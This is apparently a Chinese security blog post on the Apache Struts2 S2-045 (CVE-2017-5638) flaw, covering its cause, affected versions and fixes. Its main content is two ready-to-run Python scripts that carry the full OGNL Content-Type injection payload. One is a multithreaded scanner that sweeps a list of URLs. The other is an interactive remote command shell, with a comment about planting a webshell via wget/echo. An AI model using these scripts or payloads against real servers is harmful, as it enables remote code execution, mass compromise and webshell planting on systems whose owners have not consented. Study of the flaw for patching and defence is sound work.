CVE-2017-5638(S2-045)

前言:前方传来情报运维狗已猝。

0x01 简介

Struts是Apache软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。


0x02 成因

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者修改HTTP请求头中Content-Type值构造恶意代码触发该漏洞,进而执行系统命令。
实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分,并且默认情况下jakarta是启用的。


0x03 条件

1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能开启(默认)
2.恶意攻击者构造Content-Type的值。


0x04 危害

Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

攻击者可通过发送恶意构造的HTTP数据包利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务器,造成拒绝服务、数据泄露、网站造篡改等影响。由于该漏洞利用无需任何前置条件(如开启dmi ,debug等功能)以及启用任何插件,因此漏洞危害较为严重。


0x05 Poc&&Exp

  • POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    # -*- encoding: utf-8 -*-
    # !/usr/bin/env python
    # desc: CVE-2017-5638

    import urllib2
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    import threading
    def poc(url):
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    try:
    request = urllib2.Request(url,datagen,headers=header)
    response = urllib2.urlopen(request,timeout=5)
    body=response.read()
    except:
    body=""
    if "nMask" in body:
    print "[Loopholes exist]",url
    f.write(url+"\n")
    if __name__=="__main__":
    f=open("result.txt","a")
    url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()]
    for url in url_list:
    threading.Thread(target=poc,args=(url,)).start()
    while 1:
    if(len(threading.enumerate())<50):
    break
  • Exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #! /usr/bin/env python
    # encoding:utf-8
    # 命令执行确定web目录,wget/echo网马。
    import urllib2,sys
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    def poc(url,content="echo nMask"):
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+content+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(url,datagen,headers=header)
    response = urllib2.urlopen(request)
    body=response.read()
    return body
    url=sys.argv[1]
    body=poc(url)
    if "nMask" in body:
    print "[Loopholes exist]",url
    while 1:
    con=raw_input("[cmd]>>")
    print poc(url,content=con)

0x06 修复

  • 1.通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击
  • 2.查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar 文件,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,升级到Apache Struts 2.3.32或2.5.10.1版。

0x07 引用

Thief

文章目录
  1. 1. 0x01 简介
  2. 2. 0x02 成因
  3. 3. 0x03 条件
  4. 4. 0x04 危害
  5. 5. 0x05 Poc&&Exp
  6. 6. 0x06 修复
  7. 7. 0x07 引用